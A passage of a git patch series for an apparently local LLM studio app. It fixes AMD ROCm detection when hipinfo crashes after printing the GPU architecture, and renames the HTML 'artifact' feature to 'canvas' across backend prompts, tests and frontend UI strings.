+            _pick = _dedup_pick(_tokens)
+            if _pick:
+                return _pick
         except Exception:
             pass
 
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index acc7e92875..f02ed586be 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -823,7 +823,9 @@ if (-not $HasNvidiaSmi) {
         $HipSdkInstalled = $true   # binary found → SDK is installed regardless of device state
         try {
             $hipOut = & $hipinfoExe.Source 2>&1 | Out-String
-            if ($LASTEXITCODE -eq 0 -and $hipOut -match "(?i)gcnArchName") {
+            if ($hipOut -match "(?i)gcnArchName") {
+                # hipinfo can crash after printing gcnArchName (#6043).
+                # Once the arch is printed, keep the ROCm wheel path.
                 $HasROCm = $true
                 $_hipAllArches = @([regex]::Matches($hipOut, "(?im)^\s*gcnArchName\s*:\s*(\S+)") | ForEach-Object { ($_.Groups[1].Value -split ':')[0].Trim().ToLower() })
                 $_hipVisIdx = if ($env:HIP_VISIBLE_DEVICES -match '^\d') { [int]($env:HIP_VISIBLE_DEVICES -split ',')[0] } elseif ($env:ROCR_VISIBLE_DEVICES -match '^\d') { [int]($env:ROCR_VISIBLE_DEVICES -split ',')[0] } else { 0 }
@@ -833,8 +835,13 @@ if (-not $HasNvidiaSmi) {
                 } else {
                     $ROCmGpuLabel = "AMD ROCm"
                 }
+                if ($LASTEXITCODE -ne 0) {
+                    substep "[INFO] hipinfo exited with code $LASTEXITCODE but reported gcnArchName -- treating as ROCm-capable (see #6043)" "Cyan"
+                }
             } elseif ($LASTEXITCODE -ne 0) {
-                # hipinfo ran but returned a HIP runtime error (e.g. "no ROCm-capable device detected")
+                # hipinfo ran but returned a HIP runtime error without any gcnArchName
+                # output (e.g. "no ROCm-capable device detected"), or crashed before
+                # printing device info.
                 $firstLine = ($hipOut -split '\r?\n' | Where-Object { $_.Trim() } | Select-Object -First 1)
                 substep "[WARN] hipinfo returned a HIP runtime error (exit $LASTEXITCODE)" "Yellow"
                 substep "       $firstLine" "Yellow"
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index a3c9555d0b..b0abaaeacd 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -1820,10 +1820,27 @@ class TestDetectWindowsGfxArch:
                 result = stack_mod._detect_windows_gfx_arch()
         assert result == "gfx1200"
 
-    def test_returns_none_on_nonzero_returncode(self):
+    def test_returns_arch_on_crash_with_gcnarchname_in_output(self):
+        # Regression test for issue #6043: hipinfo may exit with a non-zero
+        # code (e.g. 0xC0000005 / STATUS_ACCESS_VIOLATION on RDNA 4 hosts)
+        # while still printing the gcnArchName line before crashing.  The
+        # previous guard `if result.returncode == 0` discarded this output,
+        # causing a CPU PyTorch fallback.  The fix: accept the arch whenever
+        # gcnArchName is present in stdout regardless of exit code.
+        mock_result = MagicMock()
+        mock_result.returncode = -1073741819  # 0xC0000005 STATUS_ACCESS_VIOLATION
+        mock_result.stdout = b"gcnArchName : gfx1200\nsome other line\n"
+        with patch("shutil.which", return_value = "/usr/bin/hipinfo"):
+            with patch("subprocess.run", return_value = mock_result):
+                result = stack_mod._detect_windows_gfx_arch()
+        assert result == "gfx1200"
+
+    def test_returns_none_on_nonzero_returncode_without_gcnarchname(self):
+        # Non-zero exit without any gcnArchName output (e.g. no device detected)
+        # must still return None and fall through to amd-smi / WMI.
         mock_result = MagicMock()
         mock_result.returncode = 1
-        mock_result.stdout = b"gcnArchName : gfx1200\n"
+        mock_result.stdout = b"HIP runtime error: no device detected\n"
         with patch("shutil.which", return_value = "/usr/bin/hipinfo"):
             with patch("subprocess.run", return_value = mock_result):
                 result = stack_mod._detect_windows_gfx_arch()
@@ -2673,6 +2690,15 @@ class TestHipSdkEnvPathResolution:
     """Verify that both install scripts resolve hipinfo/hipconfig via HIP_PATH
     and ROCM_PATH when the tools are not on $PATH, and emit explicit warnings."""
 
+    @staticmethod
+    def _assert_accepts_partial_hipinfo_output(source: str):
+        hipout_idx = source.find("$hipOut = & $hipinfoExe.Source")
+        assert hipout_idx != -1
+        hipinfo_block = source[hipout_idx : hipout_idx + 1600]
+        assert 'if ($hipOut -match "(?i)gcnArchName")' in hipinfo_block
+        assert "$LASTEXITCODE -eq 0 -and $hipOut -match" not in hipinfo_block
+        assert "but reported gcnArchName" in hipinfo_block
+
     # ── hipinfo resolution ────────────────────────────────────────────────────
 
     def test_setup_checks_hip_path_for_hipinfo(self):
@@ -2747,6 +2773,16 @@ class TestHipSdkEnvPathResolution:
         source = _INSTALL_PS1_PATH.read_text(encoding = "utf-8")
         assert "HIP runtime error" in source or "runtime error" in source.lower()
 
+    def test_setup_accepts_hipinfo_gcnarchname_on_nonzero_exit(self):
+        """setup.ps1 must accept partial hipinfo output from the #6043 crash path."""
+        source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
+        self._assert_accepts_partial_hipinfo_output(source)
+
+    def test_install_accepts_hipinfo_gcnarchname_on_nonzero_exit(self):
+        """install.ps1 must accept partial hipinfo output from the #6043 crash path."""
+        source = _INSTALL_PS1_PATH.read_text(encoding = "utf-8")
+        self._assert_accepts_partial_hipinfo_output(source)
+
     # ── hipconfig resolution ──────────────────────────────────────────────────
 
     def test_setup_resolves_hipconfig_via_bin_subdir(self):

From 9d7740a82f2ec2649c74d95154e91f63c376b3ef Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Mon, 15 Jun 2026 13:38:39 +0200
Subject: [PATCH 08/91] Rename chat artifacts copy to canvas (#6298)

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/core/inference/tools.py        | 14 ++++++-------
 studio/backend/routes/inference.py            | 12 +++++------
 .../backend/tests/test_anthropic_messages.py  |  4 ++--
 .../backend/tests/test_llama_cpp_tool_loop.py | 20 +++++++++----------
 .../tests/test_safetensors_tool_loop.py       |  8 ++++----
 .../tests/test_tool_loop_controller.py        |  2 +-
 .../components/assistant-ui/markdown-text.tsx |  6 +++---
 .../components/assistant-ui/tool-group.tsx    |  2 +-
 .../assistant-ui/tool-ui-render-html.tsx      | 12 +++++------
 .../src/features/chat/api/chat-adapter.ts     | 12 +++++------
 .../features/chat/artifacts/artifact-card.tsx |  2 +-
 .../chat/artifacts/artifact-surface.tsx       | 20 +++++++++----------
 .../features/chat/artifacts/html-frame.tsx    |  4 ++--
 .../src/features/chat/artifacts/types.ts      |  4 ++--
 .../frontend/src/features/chat/chat-page.tsx  |  2 +-
 studio/frontend/src/i18n/locales/en.ts        |  8 ++++----
 16 files changed, 66 insertions(+), 66 deletions(-)

diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py
index b29a221ee7..6960310018 100644
--- a/studio/backend/core/inference/tools.py
+++ b/studio/backend/core/inference/tools.py
@@ -773,10 +773,10 @@ RENDER_HTML_TOOL = {
     "function": {
         "name": "render_html",
         "description": (
-            "Render a self-contained HTML/CSS/JavaScript artifact for the user. "
+            "Render a self-contained HTML/CSS/JavaScript canvas for the user. "
             "Call this at most once per assistant response unless the user "
             "explicitly asks for changes in that response. Future user requests "
-            "for new artifacts may call render_html once. Put the entire document "
+            "for new canvases may call render_html once. Put the entire document "
             "in code, including any CSS in <style> tags and JavaScript in <script> tags."
         ),
         "parameters": {
@@ -788,7 +788,7 @@ RENDER_HTML_TOOL = {
                 },
                 "title": {
                     "type": "string",
-                    "description": "Short display title for the artifact.",
+                    "description": "Short display title for the canvas.",
                 },
             },
             "required": ["code"],
@@ -954,14 +954,14 @@ def _render_html_result(arguments: dict) -> str:
     if isinstance(title, str) and title.strip():
         safe_title = title.strip()[:120]
         return (
-            f"Rendered HTML artifact: {safe_title}. Do not call render_html "
+            f"Rendered HTML canvas: {safe_title}. Do not call render_html "
             "again in this response unless the user asks for changes. For a later "
-            "user request for a new artifact, call render_html once."
+            "user request for a new canvas, call render_html once."
         )
     return (
-        "Rendered HTML artifact. Do not call render_html again in this response "
+        "Rendered HTML canvas. Do not call render_html again in this response "
         "unless the user asks for changes. For a later user request for a new "
-        "artifact, call render_html once."
+        "canvas, call render_html once."
     )
 
 
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index c272c67944..bf471eeb6e 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -954,7 +954,7 @@ _ARTIFACT_PREVIEW_FRAME_HTML = """<!doctype html>
               configurable: true,
             });
           } catch {
-            // Leave the sandbox failure contained in the artifact if the
+            // Leave the sandbox failure contained in the canvas if the
             // browser refuses to shadow the Web Storage accessor.
           }
         };
@@ -986,7 +986,7 @@ async def artifact_preview_frame(
     allow_network: bool = False,
     token: Optional[str] = None,
 ):
-    """Serve the opaque sandbox shell used for client-side HTML artifacts."""
+    """Serve the opaque sandbox shell used for client-side HTML canvases."""
 
     if allow_network:
         auth_header = request.headers.get("authorization")
@@ -1212,12 +1212,12 @@ async def _await_disconnect_then_close(request, resp, cancel_event) -> None:
 
 
 # Centralized local/server tool nudge. Keep render_html guidance gated to turns
-# where the artifact tool is actually present in the tool schema; otherwise
+# where the canvas tool is actually present in the tool schema; otherwise
 # small local models can hallucinate a missing tool call instead of following
 # the fenced-HTML fallback prompt.
 _TOOL_BASE_NUDGE = (
     "Tools are available when they materially improve the answer. Use an enabled "
-    "tool for current facts, calculations, code execution, or artifacts when it "
+    "tool for current facts, calculations, code execution, or canvases when it "
     "materially helps; otherwise answer normally and follow the user's requested "
     "format."
 )
@@ -1233,11 +1233,11 @@ _TOOL_CODE_TIP = (
     "and analyze information from tool results."
 )
 _TOOL_ARTIFACT_TIP = (
-    "For HTML, CSS, or JavaScript artifact requests, call render_html once when "
+    "For HTML, CSS, or JavaScript canvas requests, call render_html once when "
     "it is available with one complete self-contained HTML document in the code "
     "argument. After render_html succeeds, do not call it again in the same "
     "response unless the user asks for changes. Future user requests for new "
-    "artifacts may call render_html once."
+    "canvases may call render_html once."
 )
 
 
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index f8d3f44d4b..0ed8de5532 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -72,7 +72,7 @@ class TestToolActionNudge:
         assert "Use code execution for math" in nudge
         assert "render_html" not in nudge
 
-    def test_balanced_nudge_preserves_compact_web_tip_and_artifact_gate(self):
+    def test_balanced_nudge_preserves_compact_web_tip_and_canvas_gate(self):
         nudge = _build_tool_action_nudge(
             tools = [
                 {"type": "function", "function": {"name": "web_search"}},
@@ -840,7 +840,7 @@ class TestAnthropicToolNonStreaming:
                 "type": "tool_end",
                 "tool_name": "render_html",
                 "tool_call_id": "call_0",
-                "result": "Rendered HTML artifact.",
+                "result": "Rendered HTML canvas.",
             }
 
         response = asyncio.run(_anthropic_tool_non_streaming(_run_gen, "msg_1", "m"))
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index aacb029ff6..7b1ecbca61 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -106,7 +106,7 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
 
     tool_call_id = "call_render_late"
     first_stream = [
-        _sse({"content": "Here is the artifact.\n\n"}),
+        _sse({"content": "Here is the canvas.\n\n"}),
         _sse(
             {
                 "tool_calls": [
@@ -140,7 +140,7 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
 
     def fake_execute_tool(name, arguments, **_kwargs):
         calls.append((name, arguments))
-        return "Rendered HTML artifact: Simple Red Square."
+        return "Rendered HTML canvas: Simple Red Square."
 
     monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
 
@@ -168,7 +168,7 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
     )
 
     content_events = [e for e in events if e.get("type") == "content"]
-    assert content_events[0]["text"] == "Here is the artifact.\n\n"
+    assert content_events[0]["text"] == "Here is the canvas.\n\n"
 
     first_content_index = next(
         i for i, event in enumerate(events) if event.get("type") == "content"
@@ -195,7 +195,7 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
     # plus the structured tool call, preserving OpenAI-compatible ordering.
     assert len(payloads) == 2
     assistant_messages = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"]
-    assert assistant_messages[-1]["content"] == "Here is the artifact.\n\n"
+    assert assistant_messages[-1]["content"] == "Here is the canvas.\n\n"
     assert assistant_messages[-1]["tool_calls"][0]["id"] == tool_call_id
     assert assistant_messages[-1]["tool_calls"][0]["function"]["name"] == "render_html"
 
@@ -257,7 +257,7 @@ def test_repeat_render_html_nudge_is_not_user_visible_error(monkeypatch):
 
     def fake_execute_tool(name, arguments, **_kwargs):
         calls.append((name, arguments))
-        return "Rendered HTML artifact: First."
+        return "Rendered HTML canvas: First."
 
     monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
 
@@ -346,7 +346,7 @@ def test_render_html_success_drops_tool_schema_before_final_pass(monkeypatch):
     backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
 
     def fake_execute_tool(name, arguments, **_kwargs):
-        return "Rendered HTML artifact: Done."
+        return "Rendered HTML canvas: Done."
 
     monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
 
@@ -783,7 +783,7 @@ def test_same_turn_repeated_render_html_does_not_emit_second_provisional_start(m
 
     def fake_execute_tool(name, arguments, **_kwargs):
         calls.append((name, arguments))
-        return "Rendered HTML artifact: One."
+        return "Rendered HTML canvas: One."
 
     monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
 
@@ -869,7 +869,7 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch):
 
     The post-tool model pass can say it will use render_html again without
     emitting a tool call. That should be accepted as a final model mistake,
-    not turned into repeated internal re-prompts after the artifact already
+    not turned into repeated internal re-prompts after the canvas already
     exists.
     """
 
@@ -907,7 +907,7 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch):
 
     def fake_execute_tool(name, arguments, **_kwargs):
         calls.append((name, arguments))
-        return "Rendered HTML artifact: First."
+        return "Rendered HTML canvas: First."
 
     monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
 
@@ -1146,7 +1146,7 @@ def test_reprompted_tool_call_still_streams_final_answer(monkeypatch):
 
     def fake_execute_tool(name, arguments, **_kwargs):
         calls.append((name, arguments))
-        return "Rendered HTML artifact: Forced."
+        return "Rendered HTML canvas: Forced."
 
     monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
 
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 024d1801c0..4098c87f4b 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -264,7 +264,7 @@ def _make_loop(
 
 def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     captured_tool_names: list[list[str]] = []
-    exec_fn = FakeExecuteTool(["Rendered HTML artifact."])
+    exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
 
     def fake_single_turn(_messages, *, active_tools = None):
         captured_tool_names.append(
@@ -357,7 +357,7 @@ class TestLoopBasic:
         assert "Result: 1" in contents[-1]["text"]
 
     def test_render_html_emits_provisional_tool_start(self):
-        exec_fn = FakeExecuteTool(["Rendered HTML artifact."])
+        exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
             [
                 [
@@ -412,8 +412,8 @@ class TestLoopBasic:
         assert tool_starts[0]["tool_name"] == "python"
         assert exec_fn.calls == [("python", {"code": "print('<function=render_html>')"})]
 
-    def test_render_html_success_blocks_second_artifact_call(self):
-        exec_fn = FakeExecuteTool(["Rendered HTML artifact."])
+    def test_render_html_success_blocks_second_canvas_call(self):
+        exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
             [
                 [
diff --git a/studio/backend/tests/test_tool_loop_controller.py b/studio/backend/tests/test_tool_loop_controller.py
index dea5de6d6e..0e8ae798af 100644
--- a/studio/backend/tests/test_tool_loop_controller.py
+++ b/studio/backend/tests/test_tool_loop_controller.py
@@ -191,7 +191,7 @@ def test_render_html_success_filters_active_tools_and_repeat_is_internal():
     ]
 
     first = controller.prepare_call(_call("render_html", {"code": "<html></html>"}, "call_html_1"))
-    controller.record_result(first, "Rendered HTML artifact: Demo")
+    controller.record_result(first, "Rendered HTML canvas: Demo")
 
     assert [t["function"]["name"] for t in controller.active_tools()] == ["web_search"]
 
diff --git a/studio/frontend/src/components/assistant-ui/markdown-text.tsx b/studio/frontend/src/components/assistant-ui/markdown-text.tsx
index 8f91b419d2..efdef37e72 100644
--- a/studio/frontend/src/components/assistant-ui/markdown-text.tsx
+++ b/studio/frontend/src/components/assistant-ui/markdown-text.tsx
@@ -76,7 +76,7 @@ function isRenderableRenderHtmlToolPart(part: unknown): boolean {
   }
   if (
     typeof toolPart.result === "string" &&
-    toolPart.result.startsWith("Rendered HTML artifact")
+    toolPart.result.startsWith("Rendered HTML canvas")
   ) {
     return true;
   }
@@ -286,7 +286,7 @@ function CodeBlockActions({
 }
 
 // DiffusionGemma renders its denoising live in the bubble (see DiffusionCanvas in
-// thread.tsx) and has the artifacts canvas on by default, so a full-HTML answer
+// thread.tsx) and has the HTML canvas feature on by default, so a full-HTML answer
 // (e.g. a playable game) renders as an interactive card without the global toggle.
 function StreamdownBlock(props: BlockProps) {
   const shouldCollapseHtmlArtifacts = useChatRuntimeStore(
@@ -335,7 +335,7 @@ function StreamdownBlock(props: BlockProps) {
   ) {
     return (
       <div className="my-4 flex h-48 items-center justify-center rounded-xl border border-border bg-muted/30 text-sm text-muted-foreground animate-pulse">
-        Loading artifact preview...
+        Loading canvas preview...
       </div>
     );
   }
diff --git a/studio/frontend/src/components/assistant-ui/tool-group.tsx b/studio/frontend/src/components/assistant-ui/tool-group.tsx
index 3ce65627e2..a85f6495a2 100644
--- a/studio/frontend/src/components/assistant-ui/tool-group.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-group.tsx
@@ -243,7 +243,7 @@ const ToolGroupImpl: FC<
   const forceOpen =
     hasPendingConfirmation || (forcedOpenRef.current && messageRunning);
 
-  // Render single tool calls and artifacts directly so cards never hide in a
+  // Render single tool calls and canvases directly so cards never hide in a
   // collapsed group.
   if (toolCount <= 1 || containsArtifactTool) {
     return <>{children}</>;
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-render-html.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-render-html.tsx
index 7b9d555946..6ab0afad6f 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-render-html.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-render-html.tsx
@@ -37,12 +37,12 @@ const RenderHtmlToolUIImpl: ToolCallMessagePartComponent = ({
   const code = typeof parsedArgs.code === "string" ? parsedArgs.code : "";
   const hasCode = code.trim().length > 0;
   const title =
-    typeof parsedArgs.title === "string" ? parsedArgs.title : "HTML artifact";
+    typeof parsedArgs.title === "string" ? parsedArgs.title : "HTML canvas";
   const isRunning = status?.type === "running";
   const codeIsStreaming = propStatus.code === "streaming";
 
   // Surface the backend error when the tool call completed with invalid args.
-  // Success results start with "Rendered HTML artifact"; errors with "Error:".
+  // Success results start with "Rendered HTML canvas"; errors with "Error:".
   const errorText =
     status?.type === "complete" &&
     typeof result === "string" &&
@@ -118,16 +118,16 @@ const RenderHtmlToolUIImpl: ToolCallMessagePartComponent = ({
         <span className="grid min-w-0 flex-1 gap-1">
           <span className="truncate text-sm font-medium leading-tight text-foreground">
             {errorText
-              ? "Artifact error"
+              ? "Canvas error"
               : isStaleGeneratingArtifact
-                ? "Artifact interrupted"
-                : "Artifact unavailable"}
+                ? "Canvas interrupted"
+                : "Canvas unavailable"}
           </span>
           <span className="truncate text-[11px] leading-none text-muted-foreground">
             {errorText ??
               (isStaleGeneratingArtifact
                 ? "Refresh stopped this preview"
-                : "HTML artifact")}
+                : "HTML canvas")}
           </span>
         </span>
       </div>
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index c1a618862e..ae4d31b27c 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -1841,8 +1841,8 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
       const hasOutboundImage = Boolean(imageBase64);
 
       // Keep render_html local-only and mirror the backend image-turn gate.
-      // Artifacts are independent of Search/Code: a local tool-capable model
-      // with Artifacts on exposes render_html even with no other pills active.
+      // Canvas is independent of Search/Code: a local tool-capable model
+      // with Canvas on exposes render_html even with no other pills active.
       const renderHtmlToolEnabledForThisTurn = Boolean(
         !isExternalRequest &&
           supportsTools &&
@@ -1851,12 +1851,12 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
       );
       const artifactInstruction = artifactsEnabled
         ? renderHtmlToolEnabledForThisTurn
-          ? "When the user asks for an HTML, CSS, or JavaScript artifact, call render_html once with one complete self-contained HTML document in the code argument. Embed CSS and JavaScript inside the document. After render_html succeeds, do not call it again in the same response unless the user asks for changes. Future user requests for new artifacts may call render_html once."
-          : "When the user asks for an HTML, CSS, or JavaScript artifact, return one complete self-contained fenced html code block. Embed CSS and JavaScript inside the document. Do not emit tool-call syntax."
+          ? "When the user asks for an HTML, CSS, or JavaScript canvas, call render_html once with one complete self-contained HTML document in the code argument. Embed CSS and JavaScript inside the document. After render_html succeeds, do not call it again in the same response unless the user asks for changes. Future user requests for new canvases may call render_html once."
+          : "When the user asks for an HTML, CSS, or JavaScript canvas, return one complete self-contained fenced html code block. Embed CSS and JavaScript inside the document. Do not emit tool-call syntax."
         : null;
       const effectiveDisabledToolGuard =
         disabledToolGuard && artifactsEnabled
-          ? `${disabledToolGuard} HTML, CSS, or JavaScript artifact requests can still be answered by following the artifact fallback instruction.`
+          ? `${disabledToolGuard} HTML, CSS, or JavaScript canvas requests can still be answered by following the canvas fallback instruction.`
           : disabledToolGuard;
       addSystemInstruction(outboundMessages, effectiveDisabledToolGuard);
       addSystemInstruction(outboundMessages, artifactInstruction);
@@ -3091,7 +3091,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
                 closeReasoningContent();
                 cumulativeText += delta;
               }
-              // Strip a trailing ${...} template-literal artifact from
+              // Strip a trailing ${...} template-literal fragment from
               // external streams (mistral magistral occasionally emits one).
               if (isExternalRequest) {
                 cumulativeText = cumulativeText.replace(
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-card.tsx b/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
index 76973e6e06..561cb04041 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
@@ -127,7 +127,7 @@ export function ArtifactCard({
             {artifact.title}
           </span>
           <span className="truncate text-[11px] leading-none text-muted-foreground">
-            HTML artifact
+            HTML canvas
           </span>
         </span>
         {isStreaming ? (
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
index 22066b6fc3..2d5cbabe8d 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
@@ -47,9 +47,9 @@ function buildHtmlFence(source: string): string {
   const fence = "`".repeat(longestBacktickRun + 1);
   return `${fence}html\n${source}\n${fence}`;
 }
-// Sandboxed artifact iframes are deliberately outside the overlay focus trap:
+// Sandboxed canvas iframes are deliberately outside the overlay focus trap:
 // granting same-origin sandbox privileges would weaken isolation, so reaching
-// interactive artifact content via keyboard is a known sandbox limitation.
+// interactive canvas content via keyboard is a known sandbox limitation.
 const FOCUSABLE_SELECTOR =
   'a[href], button:not([disabled]), textarea:not([disabled]), input:not([disabled]), select:not([disabled]), [tabindex]:not([tabindex="-1"])';
 
@@ -85,7 +85,7 @@ function ArtifactGeneratingPanel() {
           className="mx-auto mb-3 size-20 object-contain"
         />
         <p className="text-sm font-medium text-foreground">
-          Building artifact preview…
+          Building canvas preview…
         </p>
         <p className="text-xs leading-relaxed text-muted-foreground">
           The preview will appear here when the HTML is ready.
@@ -206,7 +206,7 @@ export function ArtifactSurface({
           ? "artifact-panel-shell mx-2 mt-[72px] mb-8 h-[calc(100%_-_104px)] overflow-visible rounded-[28px] border-t border-border/70 bg-card/95"
           : "h-[min(92vh,900px)] w-[min(96vw,1200px)] overflow-hidden rounded-2xl border border-border shadow-xl",
       )}
-      aria-label={`${artifact.title} artifact`}
+      aria-label={`${artifact.title} canvas`}
     >
       <header
         className={cn(
@@ -217,7 +217,7 @@ export function ArtifactSurface({
         <div
           className="flex items-center gap-1 rounded-full bg-muted/40 p-0.5"
           role="tablist"
-          aria-label="Artifact view"
+          aria-label="Canvas view"
         >
           {(["preview", "source"] as const).map((mode) => {
             const isPreview = mode === "preview";
@@ -239,7 +239,7 @@ export function ArtifactSurface({
                     "cursor-not-allowed opacity-50",
                 )}
                 aria-label={
-                  isPreview ? "Preview artifact" : "View artifact source"
+                  isPreview ? "Preview canvas" : "View canvas source"
                 }
                 aria-selected={effectiveViewMode === mode}
                 aria-pressed={effectiveViewMode === mode}
@@ -264,7 +264,7 @@ export function ArtifactSurface({
             className="size-8"
             disabled={isLoadingArtifact || !hasArtifactCode}
             onClick={() => downloadTextFile(filename, artifact.code)}
-            aria-label="Download artifact HTML"
+            aria-label="Download canvas HTML"
           >
             <HugeiconsIcon icon={Download01Icon} className="size-4" />
           </Button>
@@ -275,7 +275,7 @@ export function ArtifactSurface({
             className="size-8"
             disabled={isLoadingArtifact || !hasArtifactCode}
             onClick={handleCopy}
-            aria-label="Copy artifact HTML"
+            aria-label="Copy canvas HTML"
           >
             {copied ? (
               <CheckIcon className="size-4" />
@@ -290,7 +290,7 @@ export function ArtifactSurface({
               size="icon"
               className="size-8"
               onClick={onOpenFullscreen}
-              aria-label="Open artifact fullscreen"
+              aria-label="Open canvas fullscreen"
             >
               <Maximize2Icon className="size-4" />
             </Button>
@@ -301,7 +301,7 @@ export function ArtifactSurface({
             size="icon"
             className="size-8"
             onClick={onClose}
-            aria-label="Close artifact"
+            aria-label="Close canvas"
           >
             <XIcon className="size-4" />
           </Button>
diff --git a/studio/frontend/src/features/chat/artifacts/html-frame.tsx b/studio/frontend/src/features/chat/artifacts/html-frame.tsx
index 041dc4dc56..6b18b27c09 100644
--- a/studio/frontend/src/features/chat/artifacts/html-frame.tsx
+++ b/studio/frontend/src/features/chat/artifacts/html-frame.tsx
@@ -28,12 +28,12 @@ export function buildArtifactSrcDoc(code: string): string {
   return `${code}\n${resizeScript}`;
 }
 
-// Preview iframes intentionally omit allow-downloads: generated artifacts can
+// Preview iframes intentionally omit allow-downloads: generated canvases can
 // offer their own UI, but downloads must go through Studio's explicit
 // copy/download controls outside the no-same-origin sandbox.
 export function ArtifactHtmlFrame({
   code,
-  title = "HTML artifact preview",
+  title = "HTML canvas preview",
   className,
   fill = false,
 }: {
diff --git a/studio/frontend/src/features/chat/artifacts/types.ts b/studio/frontend/src/features/chat/artifacts/types.ts
index 5ce22cc68a..dc6663c612 100644
--- a/studio/frontend/src/features/chat/artifacts/types.ts
+++ b/studio/frontend/src/features/chat/artifacts/types.ts
@@ -26,7 +26,7 @@ export interface ChatArtifactInput {
   isStreaming?: boolean;
 }
 
-const DEFAULT_ARTIFACT_TITLE = "HTML artifact";
+const DEFAULT_ARTIFACT_TITLE = "HTML canvas";
 
 export function normalizeArtifactTitle(title?: string | null): string {
   const trimmed = title?.trim();
@@ -80,5 +80,5 @@ export function getArtifactFilename(
     .replace(/[^a-z0-9]+/g, "-")
     .replace(/^-+|-+$/g, "")
     .slice(0, 48);
-  return `${slug || "artifact"}.html`;
+  return `${slug || "canvas"}.html`;
 }
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 8262a52eaa..f3cbd2e966 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -1493,7 +1493,7 @@ export function ChatPage(): ReactElement {
     if (view.mode !== "single") return;
     if (view.threadId || view.newThreadNonce || !selectedArtifact) return;
     // view excludes __LOCALID_ threads (they fall through to mode:"single"
-    // with no threadId/nonce). Don't close an artifact whose thread is the
+    // with no threadId/nonce). Don't close a canvas whose thread is the
     // active local thread.
     if (
       selectedArtifact.threadId &&
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 8998322ced..08feda7300 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -197,13 +197,13 @@ export const en = {
       title: "Chat",
       description: "Manage chat history stored on this device.",
       artifacts: {
-        title: "Artifacts",
+        title: "Canvas",
         collapseHtmlBlocks: "Collapse HTML blocks",
         collapseHtmlBlocksDescription:
-          "Artifacts mode collapses full HTML automatically. Turn on to also collapse fenced HTML documents when Artifacts is off.",
-        allowNetworkAccess: "Allow artifact network access",
+          "Canvas mode collapses full HTML automatically. Turn this on to also collapse fenced HTML documents when Canvas is off.",
+        allowNetworkAccess: "Allow canvas network access",
         allowNetworkAccessDescription:
-          "Let artifact previews load scripts, styles, fonts, media, and network resources from CDNs. Keep off for fully offline previews.",
+          "Let canvas previews load scripts, styles, fonts, media, and network resources from CDNs. Keep off for fully offline previews.",
       },
       data: "Data",
       exportHistory: "Export chat history",

